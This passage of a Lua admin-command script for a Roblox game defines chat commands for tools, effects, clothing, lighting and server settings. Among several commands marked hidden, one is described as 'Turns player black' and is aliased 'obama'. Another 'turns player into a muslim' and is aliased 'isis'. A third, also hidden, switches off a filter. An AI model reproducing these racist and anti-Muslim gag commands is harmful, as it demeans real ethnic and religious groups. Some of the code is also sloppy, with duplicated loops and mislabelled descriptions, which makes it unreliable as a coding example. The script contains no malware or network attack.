7008 [{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
7009 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
7010 local TmpPlayers = {}
7011 local Output = {}
7012 for _,Data in pairs(Players) do
7013 table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name})
7014 end
7015 GUI:ListGui(Speaker, "Player Database", Output, 120563622)
7016 end};
7017
7018 [{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments)
7019 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
7020 GUI:SendHint(Speaker, "Player Database cleared", 5)
7021 end};
7022
7023 [{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments)
7024 local Players = STRING:Scan(Arguments[1], Speaker)
7025 for _,Player in pairs(Players) do
7026 GUI:FakeHack(Player)
7027 end
7028 end};
7029
7030 [{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7031 local Players = STRING:Scan(Arguments[1], Speaker)
7032 for _,Player in pairs(Players) do
7033 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7034 for _,Object in pairs(Player.Backpack:GetChildren()) do
7035 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7036 local Clone = Object:Clone()
7037 Clone.Parent = Speaker.Backpack
7038 end
7039 end
7040 end
7041 end
7042 end};
7043
7044 [{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7045 local Players = STRING:Scan(Arguments[1], Speaker)
7046 for _,Player in pairs(Players) do
7047 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7048 for _,Object in pairs(Player.Backpack:GetChildren()) do
7049 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7050 Object.Parent = Speaker.Backpack
7051 end
7052 end
7053 end
7054 end
7055 end};
7056
7057 [{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7058 local Players = STRING:Scan(Arguments[1], Speaker)
7059 for _,Player in pairs(Players) do
7060 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7061 for _,Object in pairs(Speaker.Backpack:GetChildren()) do
7062 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7063 local Clone = Object:Clone()
7064 Clone.Parent = Player.Backpack
7065 end
7066 end
7067 end
7068 end
7069 end};
7070
7071 [{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments)
7072 local Players = STRING:Scan(Arguments[1], Speaker)
7073 for _,Player in pairs(Players) do
7074 if Player:FindFirstChild("Backpack") then
7075 Player.Backpack:ClearAllChildren()
7076 end
7077 if Player.Character ~= nil then
7078 for _,Obj in pairs(Player.Character:GetChildren()) do
7079 if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
7080 Obj:Destroy()
7081 end
7082 end
7083 end
7084 end
7085 end};
7086
7087 [{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments)
7088 local Players = STRING:Scan(Arguments[1], Speaker)
7089 for _,Player in pairs(Players) do
7090 if Player.Character then
7091 if Player.Character:FindFirstChild("Head") then
7092 if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
7093 coroutine.wrap(function()
7094 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7095 local OldFace = Player.Character.Head.face.Texture
7096 Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
7097 Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
7098 Player.Character.Head.face.Texture = "rbxassetid://24067663"
7099 local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9)
7100 Sound:Play()
7101 coroutine.wrap(function() for i = 1,100 do wait()
7102 local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
7103 coroutine.wrap(function() wait(3) Part:Destroy() end)()
7104 end
7105 Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
7106 end end
7107 end)()
7108 end
7109 end
7110 end
7111 end
7112 end};
7113
7114 [{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments)
7115 local Players = STRING:Scan(Arguments[1], Speaker)
7116 for _,Player in pairs(Players) do
7117 if Player.Character then
7118 if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then
7119 coroutine.wrap(function()
7120 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7121 local OldFace = Player.Character.Head.face.Texture
7122 local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
7123 local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
7124 local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
7125 Player.Character.Head.face.Texture = "rbxassetid://28118994"
7126 local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8)
7127 Sound:Play()
7128 wait(1)
7129 Smoke.Enabled = false
7130 wait(1)
7131 Fart:Destroy()
7132 Fart:Destroy()
7133 Player.Character.Head.face.Texture = OldFace
7134 end end
7135 end)()
7136 end
7137 end
7138 end
7139 end};
7140
7141 [{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments)
7142 local Players = STRING:Scan(Arguments[1], Speaker)
7143 for _,Player in pairs(Players) do
7144 if Player:FindFirstChild("Backpack") then
7145 CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()})
7146 end
7147 end
7148 end};
7149
7150 [{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments)
7151 local Players = STRING:Scan(Arguments[1], Speaker)
7152 for _,Player in pairs(Players) do
7153 if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then
7154 Player.Character.MMLGraffiti:ClearAllChildren()
7155 end
7156 end
7157 end};
7158
7159 [{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments)
7160 local Players = STRING:Scan(Arguments[1], Speaker)
7161 for _,Player in pairs(Players) do
7162 if Player.Character and Player.Character:FindFirstChild("Torso") then
7163 local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end
7164 Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2
7165 end
7166 end
7167 end};
7168
7169 [{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
7170 local Players = STRING:Scan(Arguments[1], Speaker)
7171 for _,Player in pairs(Players) do
7172 if Player.Character and Player.Character:FindFirstChild("Torso") then
7173 local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end
7174 Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5
7175 end
7176 end
7177 end};
7178
7179 [{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments)
7180 local Players = STRING:Scan(Arguments[1], Speaker)
7181 for _,Player in pairs(Players) do
7182 if Player.Character and Player.Character:FindFirstChild("Torso") then
7183 local Lights = {}
7184 for _,Obj in pairs(Player.Character.Torso:GetChildren()) do
7185 if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then
7186 table.insert(Lights, Obj)
7187 end
7188 end
7189 for _,Light in pairs(Lights) do
7190 coroutine.wrap(function()
7191 for i = 1,20 do
7192 Light.Brightness = Light.Brightness/5
7193 wait()
7194 end
7195 Light:Destroy()
7196 end)()
7197 end
7198 end
7199 end
7200 end};
7201
7202 [{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments)
7203 local Players = STRING:Scan(Arguments[1], Speaker)
7204 for _,Player in pairs(Players) do
7205 if Player.Character and Player:FindFirstChild("PlayerGui") then
7206 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7207 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug"
7208 local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
7209 local Stop = false
7210 coroutine.wrap(function()
7211 repeat
7212 Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
7213 wait(0.1)
7214 until not SG or not SG.Parent
7215 end)()
7216 CORE:ExecuteResource("Drug", Player.Character)
7217 end
7218 end
7219 end};
7220
7221 [{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments)
7222 local Players = STRING:Scan(Arguments[1], Speaker)
7223 for _,Player in pairs(Players) do
7224 if Player:FindFirstChild("PlayerGui") then
7225 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7226 wait() CORE:RestoreCamera(Player)
7227 end
7228 end
7229 end};
7230
7231 [{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string", 1, "Member", false, function(Speaker, Rank, Arguments)
7232 local AbuseMode = false
7233 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
7234 MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID)
7235 if Speaker:FindFirstChild("Backpack") then
7236 CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
7237 end
7238 end)
7239 end, Http = true};
7240
7241 [{"searchaccessory", "searchaccessories", "searchacs", "searcha", "searchhat", "searchhats", "searchh"}] = {"string(type) string(query)", "Searches the catalog for the accessory string(query) with the type of string(type)", 1, "Member", false, function(Speaker, Rank, Arguments)
7242 local Type = "all"
7243 local Query = string.lower(Arguments[1])
7244 local Arguments = STRING:GetSplit(Query, 2, Settings.Bet)
7245 if #Arguments == 2 and Assets.AccessoryTypes[Arguments[1]] then
7246 Type = Arguments[1]
7247 Query = Arguments[2]
7248 end
7249 MARKET:ShowSearch(Speaker, 11, Query, function(ID)
7250 if Speaker.Character then
7251 CORE:Insert(ID, Speaker.Character, true, {"Accoutrement"})
7252 end
7253 end, MARKET:AccessoryToSubcategory(Type))
7254 end, Http = true};
7255
7256 [{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string", 1, "Member", false, function(Speaker, Rank, Arguments)
7257 MARKET:ShowSearch(Speaker, 11, Arguments[1], function(ID)
7258 if Speaker.Character then
7259 CORE:GivePackage(Speaker, ID)
7260 end
7261 end, 11)
7262 end, Http = false};
7263
7264 [{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments)
7265 local Players = STRING:Scan(Arguments[1], Speaker)
7266 for _,Player in pairs(Players) do
7267 CORE:GivePackage(Player)
7268 end
7269 end};
7270
7271 [{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7272 local Players = STRING:Scan(Arguments[1], Speaker)
7273 for _,Player in pairs(Players) do
7274 CORE:GivePackage(Player, Arguments[2])
7275 end
7276 end, Http = false};
7277
7278 [{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments)
7279 local Players = STRING:Scan(Arguments[1], Speaker)
7280 for _,Player in pairs(Players) do
7281 local Stats = Player:FindFirstChild("leaderstats")
7282 if Stats ~= nil then
7283 for _,Stat in pairs(Stats:GetChildren()) do
7284 if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7285 ypcall(function() Stat.Value = Arguments[3] end)
7286 end
7287 end
7288 end
7289 end
7290 end};
7291
7292 [{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7293 local ID = tonumber(Arguments[2])
7294 local Players = STRING:Scan(Arguments[1], Speaker)
7295 for _,Player in pairs(Players) do
7296 for _,Player in pairs(Players) do
7297 if Player.Character ~= nil then
7298 local Obj = Player.Character:FindFirstChild("Shirt")
7299 if Obj then
7300 Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7301 else
7302 Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7303 end
7304 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7305 end
7306 end
7307 end
7308 end};
7309
7310 [{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7311 local ID = tonumber(Arguments[2])
7312 local Players = STRING:Scan(Arguments[1], Speaker)
7313 for _,Player in pairs(Players) do
7314 for _,Player in pairs(Players) do
7315 if Player.Character ~= nil then
7316 local Obj = Player.Character:FindFirstChild("Pants")
7317 if Obj then
7318 Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7319 else
7320 Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7321 end
7322 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7323 end
7324 end
7325 end
7326 end};
7327
7328 [{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7329 local ID = tonumber(Arguments[2])
7330 local Players = STRING:Scan(Arguments[1], Speaker)
7331 for _,Player in pairs(Players) do
7332 for _,Player in pairs(Players) do
7333 if Player.Character ~= nil then
7334 if Player.Character:FindFirstChild("Torso") then
7335 local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
7336 local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
7337 if Obj1 then
7338 Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7339 else
7340 Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7341 end
7342 if Obj2 then
7343 Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID)
7344 else
7345 Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front"
7346 end
7347 coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
7348 coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
7349 end
7350 end
7351 end
7352 end
7353 end};
7354
7355 [{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments)
7356 local Players = STRING:Scan(Arguments[1], Speaker)
7357 for _,Player in pairs(Players) do
7358 CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker)
7359 end
7360 end};
7361
7362 [{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments)
7363 if CORE:InAdminGroup(Speaker) then
7364 local Players = STRING:Scan(Arguments[1], Speaker)
7365 for _,Player in pairs(Players) do
7366 if Player:FindFirstChild("Backpack") then
7367 local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
7368 local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
7369 local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464"
7370 local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689"
7371 CORE:ExecuteResource("CookieTool", Tool)
7372 end
7373 end
7374 end
7375 end};
7376
7377 [{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments)
7378 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7379 CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))})
7380 end
7381 end};
7382
7383 [{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments)
7384 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7385 local Model = CORE:Insert(tonumber(Arguments[1]), Server.RS)
7386 Model:MakeJoints()
7387 for i = 1,math.random(10,20) do
7388 Model.Name = Model.Name..string.char(math.random(97,122))
7389 end
7390 if Model:GetChildren()[1] then
7391 table.insert(Objects, Model)
7392 CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model})
7393 end
7394 end
7395 end};
7396
7397 [{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7398 local ID = tonumber(Arguments[2])
7399 local Players = STRING:Scan(Arguments[1], Speaker)
7400 for _,Player in pairs(Players) do
7401 if Player.Character then
7402 CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]})
7403 end
7404 end
7405 end};
7406
7407 [{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments)
7408 local Players = STRING:Scan(Arguments[1], Speaker)
7409 for _,Player in pairs(Players) do
7410 if Player.Character then
7411 local StopAnim = Player.Character:FindFirstChild("Stop MML Animate")
7412 if StopAnim then StopAnim:Destroy() end
7413 end
7414 end
7415 end};
7416
7417 [{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments)
7418 if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then
7419 Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255)
7420 end
7421 end};
7422
7423 [{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments)
7424 if tonumber(Arguments[1]) then
7425 Server.Lighting.Brightness = tonumber(Arguments[1])
7426 end
7427 end};
7428
7429 [{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7430 local Players = STRING:Scan(Arguments[1], Speaker)
7431 for _,Player in pairs(Players) do
7432 GUI:CoreGui(Player, "PlayerList", true)
7433 end
7434 end};
7435
7436 [{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7437 local Players = STRING:Scan(Arguments[1], Speaker)
7438 for _,Player in pairs(Players) do
7439 local Players = STRING:Scan(Arguments[1], Speaker)
7440 GUI:CoreGui(Player, "PlayerList", false)
7441 end
7442 end};
7443
7444 [{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments)
7445 GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865)
7446 end, Hidden = true};
7447
7448 [{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments)
7449 local Players = STRING:Scan(Arguments[1], Speaker)
7450 for _,Player in pairs(Players) do
7451 CORE:ChangeCharacter(Player, 1337, false, Speaker)
7452 end
7453 end, Hidden = true};
7454
7455 [{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments)
7456 local Players = STRING:Scan(Arguments[1], Speaker)
7457 for _,Player in pairs(Players) do
7458 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7459 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
7460 Player:ClearCharacterAppearance()
7461 CORE:Insert(12436480, Player.Character, true)
7462 Player.Character.Head.face.Texture = "rbxassetid://110287880"
7463 Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436"
7464 Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483"
7465 end
7466 end
7467 end, Hidden = true};
7468
7469 [{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments)
7470 local Players = STRING:Scan(Arguments[1], Speaker)
7471 for _,Player in pairs(Players) do
7472 CORE:ChangeCharacter(Player, 0, false, Speaker)
7473 end
7474 end};
7475
7476 [{"nofilter", "unfilter", "defilter"}] = {"", "Removes current filter", 0, "Owner", false, function(Speaker, Rank, Arguments)
7477 ShouldFilter = false
7478 end, Hidden = true};
7479
7480 [{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7481 local Bet = Arguments[1]
7482 if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then
7483 GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error")
7484 elseif #Bet > 5 then
7485 GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error")
7486 else
7487 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"})
7488 if Answer == "Yes" then
7489 local OldBet = Settings.Bet
7490 CORE:ChangeBet(Bet)
7491 GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me")
7492 end
7493 end
7494 end};
7495
7496 [{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7497 local Prefix = Arguments[1]
7498 if #Prefix > 5 then
7499 GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error")
7500 else
7501 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"})
7502 if Answer == "Yes" then
7503 local OldPrefix = Settings.Prefix
7504 Settings.Prefix = Prefix
7505 GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me")
7506 end
7507 end
7508 end};
7509
7510 [{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments)
7511 GUI:CommandBar(Speaker)
7512 end};
7513
7514 [{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments)
7515 GUI:CommandBar(Speaker)
7516 PermCommandBars[Speaker.Name] = true
7517 end};
7518
7519 [{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments)
7520 PermCommandBars[Speaker.Name] = nil
7521 end};
7522
7523 [{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments)
7524 local Players = STRING:Scan(Arguments[1], Speaker)
7525 for _,Player in pairs(Players) do
7526 PermCommandBars[Player.Name] = nil
7527 end
7528 end};
7529
7530 [{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments)
7531 CORE:CreateFigure("Dummy", nil, true, Speaker)
7532 end};
7533
7534 [{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments)
7535 CORE:CreateFigure(Arguments[1], nil, true, Speaker)
7536 end};
7537
7538 [{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7539 local Players = STRING:Scan(Arguments[1], Speaker)
7540 for _,Player in pairs(Players) do
7541 CORE:ClonePlayer(Player)
7542 end
7543 end};
7544
7545 [{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments)
7546 local Players = STRING:Scan(Arguments[1], Speaker)
7547 for _,Player in pairs(Players) do
7548 CORE:ClonePlayer(Player, Arguments[2])
7549 end
7550 end};
7551
7552 [{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
7553 for _,Obj in pairs(Objects) do
7554 if Obj then Obj:Destroy() end
7555 end
7556 for Name,Jail in pairs(Jails) do
7557 if not game.Players:FindFirstChild(Name) then
7558 Jail:Destroy()
7559 Jails[Name] = nil
7560 end
7561 end
7562 Objects = {}
7563 end};
7564
7565 [{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments)
7566 for _,Obj in pairs(Server.Workspace:GetChildren()) do
7567 if Obj:IsA("Accoutrement") or Obj:IsA("Tool") then
7568 Obj:Destroy()
7569 end
7570 end
7571 end};
7572
7573 [{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7574 local Players = STRING:Scan(Arguments[1], Speaker)
7575 for _,Player in pairs(Players) do
7576 if Player.Character and Player.Character:FindFirstChild("Torso") then
7577 local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
7578 end
7579 end
7580 end};
7581
7582 [{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments)
7583 local Players = STRING:Scan(Arguments[1], Speaker)
7584 for _,Player in pairs(Players) do
7585 if Player.Character and Player.Character:FindFirstChild("Torso") then
7586 local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
7587 end
7588 end
7589 end};
7590
7591 [{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7592 local Players = STRING:Scan(Arguments[1], Speaker)
7593 for _,Player in pairs(Players) do
7594 if Player.Character and Player.Character:FindFirstChild("Torso") then
7595 local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
7596 end
7597 end
7598 end};
7599
